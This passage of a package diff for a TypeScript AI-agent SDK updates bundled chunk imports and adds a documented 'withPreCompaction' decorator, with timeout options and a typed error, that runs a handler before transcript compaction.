mcpRegistry, ad as mcpToolApprovals, ae as projectContextMetadataOnlyKnobs, af as reasoningEffortOf, ag as resolveMcpServers, ah as runWithApiErrorHandling, ai as shouldAutoApprove, aj as toAgentFactory, ak as translateSdkEvent, al as withClockCap, am as withEphemeralAgent } from './bridge-entry-BgWauyLQ.js';
+import { C as ContextWindowOptions, S as SkillsOptions, A as AgentManifestEntry, H as HitlDecision, s as streamAgentUIMessages, a as ApprovalPosture, b as AgentModule } from './bridge-entry-C0MwIOpc.js';
+export { c as APPROVAL_MODES, d as AfterToolCallContext, e as AgentBuilder, f as AgentDefinitionError, g as AgentExecutionContext, h as AgentManifest, i as AgentManifestSource, j as AgentManifestTool, k as AgentRoute, l as AgentRouteContext, m as AgentRunInfo, n as AgentsPluginOptions, o as ApiErrorContext, p as ApiErrorDecision, q as ApiErrorPolicy, r as ApprovalMode, t as ApprovalRequest, B as BeforeToolCallContext, u as CompiledContextWindow, v as ContextualTool, D as DefinitionOrThunk, w as DelegationTimeoutError, E as EphemeralAgent, L as LLMCallContext, M as McpApprovalSpec, x as McpFileError, y as McpRegistryConfig, z as McpRequestContext, F as McpSelection, P as ProcessInputContext, R as RuntimeOverrides, G as SdkAgentHandle, I as SdkMessage, J as SdkSendOptions, K as SdkTurnHandle, N as Segment, O as ShouldAutoApproveOptions, T as ToolCallVeto, Q as ToolHooks, U as ToolHooksPlugin, W as WRITE_SCOPED_TOOLS, V as agentsPlugin, X as applyPosture, Y as buildModelSelection, Z as compileAgentModule, _ as compileContextWindow, $ as compileLoadedAgentModule, a0 as compileProjectContext, a1 as compileSkills, a2 as createAgentExecutionContext, a3 as createApiErrorHandler, a4 as createSdkAgentStream, a5 as createThinkTagExtractor, a6 as createToolHooksPlugin, a7 as extractThinkTagStream, a8 as generateAgentManifest, a9 as generateAgentRoutes, aa as isAgentContext, ab as loadMcpJson, ac as mcpRegistry, ad as mcpToolApprovals, ae as projectContextMetadataOnlyKnobs, af as reasoningEffortOf, ag as resolveMcpServers, ah as runWithApiErrorHandling, ai as shouldAutoApprove, aj as toAgentFactory, ak as translateSdkEvent, al as withClockCap, am as withEphemeralAgent } from './bridge-entry-C0MwIOpc.js';
 import { TheokitAgentError } from '@theokit/sdk/errors';
 export * from '@theokit/sdk/errors';
 export { ConfigurationError, BudgetExceededError as WindowBudgetExceededError } from '@theokit/sdk/errors';
-import { G as Guardrail, a as CompiledAgentOptions, b as CompiledTool } from './agent-compiler-BaOZzU7Q.js';
-export { c as CompatImportUnsupportedError, d as CostBudgetExceededError, e as GuardrailAction, f as GuardrailError, g as GuardrailPhase, h as GuardrailResult, i as GuardrailViolationError, H as HookApprovalGate, j as HookApprovalRequest, k as HookGateUnsupportedError, M as MalformedGuardrailResultError, l as SkillsRequestContext, S as SkillsSelection, T as ToolWalkResult, m as ToolboxWalkResult, U as UnreadableTextPayloadError, n as compileTools, r as resolveEnabledSkills } from './agent-compiler-BaOZzU7Q.js';
-import { S as SettingSourcesSelection } from './setting-sources-gate-BXdZmY78.js';
-export { C as CompatSurface, a as GatedCompatSource, G as GatedSettingSource, P as ProjectSettingsGrant, R as ResolvedCompatSource, b as SettingSourceCapability, U as UntrustedSettingSourceError, r as resolveCompatSources, c as resolveSettingSources } from './setting-sources-gate-BXdZmY78.js';
-import { L as LoopStrategy, R as ReflectionStrategy, b as RoundStreamFactory, S as StreamEvent, c as DelegationResult } from './delegation-scoring-DLsMQ4BJ.js';
-export { A as AgentStopReason, d as AgentStreamEvent, e as AgentTurnMetadata, f as ApprovalRequiredEvent, g as ArtifactChunkEvent, h as ArtifactStartEvent, B as BackgroundDelegation, i as BudgetExceededError, C as CheckpointSavedEvent, j as DEFAULT_MAX_ITERATIONS, k as DelegateFn, a as DelegateOptions, l as DelegationBudgetExceededError, m as DelegationError, n as DelegationPort, D as DelegationTarget, o as DoneEvent, E as ErrorEvent, F as FileEditEvent, I as IterationEvent, p as LoopFinishReason, q as LoopOutcome, r as LoopStrategyConfig, P as PartialToolCallEvent, s as ReflectionContext, t as ReflectionResult, u as ReflectionStrategyConfig, v as RunStartedEvent, w as ScoreVerdict, x as ScoredDelegation, y as Scorer, z as StateUpdateEvent, T as TextDeltaEvent, G as ThinkingEvent, H as ToolCallEvent, J as ToolResultEvent, K as delegate, M as delegateBackground, N as delegateWithScoring, O as isApprovalRequired, Q as isDone, U as isError, V as isPartialToolCall, W as isTextDelta, X as isToolCall, Y as isToolResult, Z as ladderReflectionStrategy, _ as loopStrategyConfigSchema, $ as noopReflectionStrategy, a0 as presentUIMessageStream, a1 as reflectionStrategyConfigSchema, a2 as resolveLoopStrategy, a3 as streamAgentResponse } from './delegation-scoring-DLsMQ4BJ.js';
-export { a as AGENT_BRAND, A as AgentDefinition, D as DefineAgentConfig, I as InferAgentInput, b as InferAgentToolNames, c as compileAgentDefinition, i as isAgentDefinition } from './define-agent-DOZL_0uP.js';
+import { G as Guardrail, a as CompiledAgentOptions, b as CompiledTool } from './agent-compiler-B1F9iumK.js';
+export { c as CompatImportUnsupportedError, d as CostBudgetExceededError, e as GuardrailAction, f as GuardrailError, g as GuardrailPhase, h as GuardrailResult, i as GuardrailViolationError, H as HookApprovalGate, j as HookApprovalRequest, k as HookGateUnsupportedError, M as MalformedGuardrailResultError, l as SkillsRequestContext, S as SkillsSelection, T as ToolWalkResult, m as ToolboxWalkResult, U as UnreadableTextPayloadError, n as compileTools, r as resolveEnabledSkills } from './agent-compiler-B1F9iumK.js';
+import { S as SettingSourcesSelection } from './setting-sources-gate-BoTngPIn.js';
+export { C as CompatSurface, a as GatedCompatSource, G as GatedSettingSource, P as ProjectSettingsGrant, R as ResolvedCompatSource, b as SettingSourceCapability, U as UntrustedSettingSourceError, r as resolveCompatSources, c as resolveSettingSources } from './setting-sources-gate-BoTngPIn.js';
+import { L as LoopStrategy, R as ReflectionStrategy, b as RoundStreamFactory, S as StreamEvent, c as DelegationResult } from './delegation-scoring-BTuTKWkZ.js';
+export { A as AgentStopReason, d as AgentStreamEvent, e as AgentTurnMetadata, f as ApprovalRequiredEvent, g as ArtifactChunkEvent, h as ArtifactStartEvent, B as BackgroundDelegation, i as BudgetExceededError, C as CheckpointSavedEvent, j as DEFAULT_MAX_ITERATIONS, k as DelegateFn, a as DelegateOptions, l as DelegationBudgetExceededError, m as DelegationError, n as DelegationPort, D as DelegationTarget, o as DoneEvent, E as ErrorEvent, F as FileEditEvent, I as IterationEvent, p as LoopFinishReason, q as LoopOutcome, r as LoopStrategyConfig, P as PartialToolCallEvent, s as ReflectionContext, t as ReflectionResult, u as ReflectionStrategyConfig, v as RunStartedEvent, w as ScoreVerdict, x as ScoredDelegation, y as Scorer, z as StateUpdateEvent, T as TextDeltaEvent, G as ThinkingEvent, H as ToolCallEvent, J as ToolResultEvent, K as delegate, M as delegateBackground, N as delegateWithScoring, O as isApprovalRequired, Q as isDone, U as isError, V as isPartialToolCall, W as isTextDelta, X as isToolCall, Y as isToolResult, Z as ladderReflectionStrategy, _ as loopStrategyConfigSchema, $ as noopReflectionStrategy, a0 as presentUIMessageStream, a1 as reflectionStrategyConfigSchema, a2 as resolveLoopStrategy, a3 as streamAgentResponse } from './delegation-scoring-BTuTKWkZ.js';
+export { a as AGENT_BRAND, A as AgentDefinition, D as DefineAgentConfig, I as InferAgentInput, b as InferAgentToolNames, c as compileAgentDefinition, i as isAgentDefinition } from './define-agent-D1zBG-Ys.js';
 import { RetryOptions } from '@theokit/sdk/retry';
 export * from '@theokit/sdk/retry';
 export { RetryOptions } from '@theokit/sdk/retry';
@@ -614,6 +614,85 @@ declare class GoalRunner {
  */
 declare function formatGoalEvent(event: GoalEvent): string;
 
+/**
+ * B-002 FR-001..003 — run work BEFORE compaction rewrites the transcript, and await it.
+ *
+ * A Decorator over {@link TranscriptCompactionStrategy} rather than a field on the call options or
+ * on the strategy config (plan ADR-1). The requirement is REGISTRATION: a consumer registers once
+ * and every `compact` on that strategy carries the handler, where a per-call option is silently
+ * absent from whichever call site forgot it. The strategy config is the serializable shape, and a
+ * function is not serializable.
+ *
+ * The decorated value satisfies the same interface, so every existing consumer accepts it unchanged.
+ *
+ * ## What this seam does NOT cover
+ *
+ * The SDK's auto-compaction path. When usage crosses its threshold the SDK compacts inside
+ * `persistTurnToTranscript`, builds its own summarizer, and fires `onCompact` afterwards — there is
+ * no consumer callback on that path and none can be added from here. Stated rather than left to be
+ * discovered by a handler that never fires; tracked upstream as `usetheokit/theokit-sdk#653`.
+ */
+/**
+ * Work to run before the transcript is rewritten.
+ *
+ * Receives a READONLY view of the pre-compaction transcript, and an `AbortSignal` that fires when the
+ * bound below is reached. The signal is additive, never the bound itself: signalling is not stopping,
+ * and a handler that ignores it still holds nothing up — the timeout is what releases compaction.
+ * What the signal buys is a COOPERATIVE handler being able to drop work that is now pointless
+ * instead of running on, detached, after the decorator stopped waiting for it.
+ *
+ * Receives a readonly view of the pre-compaction transcript — the reason the handler exists is to
+ * read what compaction is about to destroy. The array is a copy: `compact` documents that it never
+ * mutates its input, and handing a caller the live array would open a mutation path through that
+ * contract whose damage surfaces later, in the compacted output, pointing at nothing.
+ */
+type PreCompactionHandler = (messages: readonly CompressibleMessage[], signal: AbortSignal) => void | Promise<void>;
+/** How a failed handler is reported, and how long one may take. */
+interface PreCompactionOptions {
+    /**
+     * How long the handler may take before it is abandoned. Default {@link DEFAULT_HANDLER_TIMEOUT_MS}.
+     *
+     * A bound is required rather than optional: without one a handler that never resolves holds the
+     * compaction forever and the run meets the context wall instead — the outcome the seam exists to
+     * avoid. Generous by default, because a handler doing real persistence is slow, not broken.
+     */
+    readonly timeoutMs?: number;
+    /**
+     * Called with the typed error when the handler fails or times out.
+     *
+     * Reported, never swallowed, and never fatal: compaction proceeds either way, because a run that
+     * cannot compact is worse off than one whose handler failed. Omitting this is opting into silence.
+     */
+    readonly onError?: (error: PreCompactionHandlerError) => void;
+}
+/** Default bound on a handler: generous, because slow is not the same as hung. */
+declare const DEFAULT_HANDLER_TIMEOUT_MS = 30000;
+/**
+ * A pre-compaction handler rejected, threw, or exceeded its bound. Compaction proceeded anyway.
+ *
+ * Extends `TheokitAgentError` and not plain `Error`, because this package's error taxonomy is what
+ * `isTransientError` reads: an error outside it is invisible to every classifier downstream. The
+ * first version of this class extended `Error` and `tests/unit/error-taxonomy.test.ts` refused it —
+ * a gate worth more than the convention it enforces, since the failure it prevents is silent.
+ *
+ * `code` is stable so a caller can branch on the reason without matching message text.
+ */
+declare class PreCompactionHandlerError extends TheokitAgentError {
+    readonly name = "PreCompactionHandlerError";
+    /** `'timeout'` when the bound was exceeded, `'threw'` when the handler failed on its own. */
+    readonly reason: 'timeout' | 'threw';
+    constructor(message: string, reason: 'timeout' | 'threw', options?: {
+        readonly cause?: unknown;
+    });
+}
+/**
+ * Wrap `strategy` so `handler` runs, and is awaited, before the transcript is rewritten.
+ *
+ * Wrapping twice runs both handlers, outermost first — composition is the point of a decorator, and
+ * the alternative (a list the decorator manages) makes ordering implicit.
+ */
+declare function withPreCompaction(strategy: TranscriptCompactionStrategy, handler: PreCompactionHandler, options?: PreCompactionOptions): TranscriptCompactionStrategy;
+
 /**
  * M52 — the capability layer: object-oriented, composable authoring that produces the EXISTING narrow
  * waist (`CompiledAgentOptions`), which `assembleM8CreateOptions` already turns into `Agent.create`
@@ -1550,4 +1629,4 @@ type AgentWithNarrowedList = Omit<typeof Agent$1, 'list'> & {
 type AgentWithNarrowedListAlias = AgentWithNarrowedList;
 declare const Agent: AgentWithNarrowedList;
 
-export { type A2AAuth, type A2ACapabilities, type A2ASkill, type A2AToolConfig, AcpClient, AcpMessageDecoder, type AcpTransport, Agent, type AgentCard, type AgentConfig, AgentConfigCapability, AgentManifestEntry, AgentModule, AgentRunner, AgentRunnerBuilder, type AgentRunnerRunOptions, type AgentShape, type AgentWithNarrowedListAlias, ApprovalOptions, ApprovalPosture, type BuildAgentCardOptions, CanUseToolCapability, type Capability, CapabilityConflictError, CapabilityPreset, CapabilityRegistry, CheckpointCapability, type CompactionCallOptions, type CompactionStrategyConfig, CompiledAgentOptions, type CompiledAgentOptionsDraft, CompiledTool, ContextWindowCapability, ContextWindowOptions, type CostGuardOptions, DEFAULT_KEEP_TOKENS, DelegationResult, FieldCapability, type FinalizedDraft, GoalRunner, type GoalRunnerDeps, Guardrail, GuardrailsCapability, HitlDecision, HookApprovalCapability, HumanInTheLoopCapability, HumanInTheLoopOptions, type InProcessApprovalRequest, InProcessApprovalRequiredError, type InProcessAwaitApproval, type ListOptionsWithoutPaginationAlias, LoopStrategy, MCP_PROTOCOL_VERSION, MainLoopCapability, MainLoopMeta, type McpJsonSchema, type McpServerInfo, McpServersCapability, type McpToolDescriptor, MemoryCapability, ModelCapability, type NamedTool, type OutputModerationOptions, type PiiOptions, PluginsCapability, ProjectContextCapability, type PromptInjectionOptions, type ProvenanceEntry, ReasoningEffort, ReflectionStrategy, RoundStreamFactory, RunContextCapability, SessionStoreCapability, SettingSourcesCapability, SettingSourcesSelection, SkillsCapability, SkillsOptions, SkillsOptionsCapability, SkillsResolverCapability, type StreamAgentTurnDeps, type StreamAgentTurnInProcessInput, StreamEvent, SubAgentsCapability, type Summarize, TelemetryCapability, type ToolComNome, type ToolDeclaration, ToolOptions, ToolboxCapability, type ToolboxSource, ToolsCapability, Toolset, ToolsetError, type TranscriptCompactionStrategy, UnknownCapabilityError, applyCapabilities, buildAgentCard, buildMcpToolDescriptors, compactionStrategyConfigSchema, costGuard, createA2ATool, createDraft, declareAgentShape, deriveConversationId, encodeAcpMessage, estimateTokens, formatGoalEvent, listSubagentNames, mcpServerInfo, moderateOutputStream, outputModeration, parseConversationId, piiDetector, promptInjectionDetector, resolveCompactionStrategy, runInputGuards, runOutputGuards, setOnce, streamAgentTurnInProcess, streamAgentUIMessages, textPayloadExtractor, tokenBudgetCompactionStrategy, unicodeNormalizer, wellKnownCardPath };
+export { type A2AAuth, type A2ACapabilities, type A2ASkill, type A2AToolConfig, AcpClient, AcpMessageDecoder, type AcpTransport, Agent, type AgentCard, type AgentConfig, AgentConfigCapability, AgentManifestEntry, AgentModule, AgentRunner, AgentRunnerBuilder, type AgentRunnerRunOptions, type AgentShape, type AgentWithNarrowedListAlias, ApprovalOptions, ApprovalPosture, type BuildAgentCardOptions, CanUseToolCapability, type Capability, CapabilityConflictError, CapabilityPreset, CapabilityRegistry, CheckpointCapability, type CompactionCallOptions, type CompactionStrategyConfig, CompiledAgentOptions, type CompiledAgentOptionsDraft, CompiledTool, ContextWindowCapability, ContextWindowOptions, type CostGuardOptions, DEFAULT_HANDLER_TIMEOUT_MS, DEFAULT_KEEP_TOKENS, DelegationResult, FieldCapability, type FinalizedDraft, GoalRunner, type GoalRunnerDeps, Guardrail, GuardrailsCapability, HitlDecision, HookApprovalCapability, HumanInTheLoopCapability, HumanInTheLoopOptions, type InProcessApprovalRequest, InProcessApprovalRequiredError, type InProcessAwaitApproval, type ListOptionsWithoutPaginationAlias, LoopStrategy, MCP_PROTOCOL_VERSION, MainLoopCapability, MainLoopMeta, type McpJsonSchema, type McpServerInfo, McpServersCapability, type McpToolDescriptor, MemoryCapability, ModelCapability, type NamedTool, type OutputModerationOptions, type PiiOptions, PluginsCapability, type PreCompactionHandler, PreCompactionHandlerError, type PreCompactionOptions, ProjectContextCapability, type PromptInjectionOptions, type ProvenanceEntry, ReasoningEffort, ReflectionStrategy, RoundStreamFactory, RunContextCapability, SessionStoreCapability, SettingSourcesCapability, SettingSourcesSelection, SkillsCapability, SkillsOptions, SkillsOptionsCapability, SkillsResolverCapability, type StreamAgentTurnDeps, type StreamAgentTurnInProcessInput, StreamEvent, SubAgentsCapability, type Summarize, TelemetryCapability, type ToolComNome, type ToolDeclaration, ToolOptions, ToolboxCapability, type ToolboxSource, ToolsCapability, Toolset, ToolsetError, type TranscriptCompactionStrategy, UnknownCapabilityError, applyCapabilities, buildAgentCard, buildMcpToolDescriptors, compactionStrategyConfigSchema, costGuard, createA2ATool, createDraft, declareAgentShape, deriveConversationId, encodeAcpMessage, estimateTokens, formatGoalEvent, listSubagentNames, mcpServerInfo, moderateOutputStream, outputModeration, parseConversationId, piiDetector, promptInjectionDetector, resolveCompactionStrategy, runInputGuards, runOutputGuards, setOnce, streamAgentTurnInProcess, streamAgentUIMessages, textPayloadExtractor, tokenBudgetCompactionStrategy, unicodeNormalizer, wellKnownCardPath, withPreCompaction };

package/dist/index.js

@@ -31,7 +31,7 @@ import {
   streamAgentResponse,
   streamAgentUIMessages,
   toolRuntimeName
-} from "./chunk-SL3QW5WZ.js";
+} from "./chunk-DFGIED4E.js";
 import {
   APPROVAL_MODES,
   AgentRunner,
@@ -39,6 +39,7 @@ import {
   BudgetExceededError,
   CompatImportUnsupportedError,
   CostBudgetExceededError,
+  DEFAULT_HANDLER_TIMEOUT_MS,
   DEFAULT_KEEP_TOKENS,
   DEFAULT_MAX_ITERATIONS,
   DelegationBudgetExceededError,
@@ -50,6 +51,7 @@ import {
   HookGateUnsupportedError,
   JudgeCredentialError,
   MalformedGuardrailResultError,
+  PreCompactionHandlerError,
   UnreadableTextPayloadError,
   WRITE_SCOPED_TOOLS,
   applyPosture,
@@ -87,8 +89,9 @@ import {
   translateSdkEvent,
   unicodeNormalizer,
   withClockCap,
-  withEphemeralAgent
-} from "./chunk-CBP72LFM.js";
+  withEphemeralAgent,
+  withPreCompaction
+} from "./chunk-72QVLTDI.js";
 import "./chunk-MJ6FRILJ.js";
 import {
   AGENT_BRAND,
@@ -98,7 +101,7 @@ import {
   isAgentDefinition,
   resolveCompatSources,
   resolveSettingSources
-} from "./chunk-PYVLRSXZ.js";
+} from "./chunk-NKPNVQBF.js";
 import "./chunk-M5J3Q6YC.js";
 import {
   ConfigurationError
@@ -1187,6 +1190,7 @@ export {
   ContextWindowMarginError,
   ContextualTool,
   CostBudgetExceededError,
+  DEFAULT_HANDLER_TIMEOUT_MS,
   DEFAULT_KEEP_TOKENS,
   DEFAULT_MAX_ITERATIONS,
   DelegationBudgetExceededError,
@@ -1212,6 +1216,7 @@ export {
   MemoryCapability,
   ModelCapability,
   PluginsCapability,
+  PreCompactionHandlerError,
   ProjectContextCapability,
   Provider,
   RunContextCapability,
@@ -1331,6 +1336,7 @@ export {
   verifyLayerOrdering,
   wellKnownCardPath,
   withClockCap,
-  withEphemeralAgent
+  withEphemeralAgent,
+  withPreCompaction
 };
 //# sourceMappingURL=index.js.map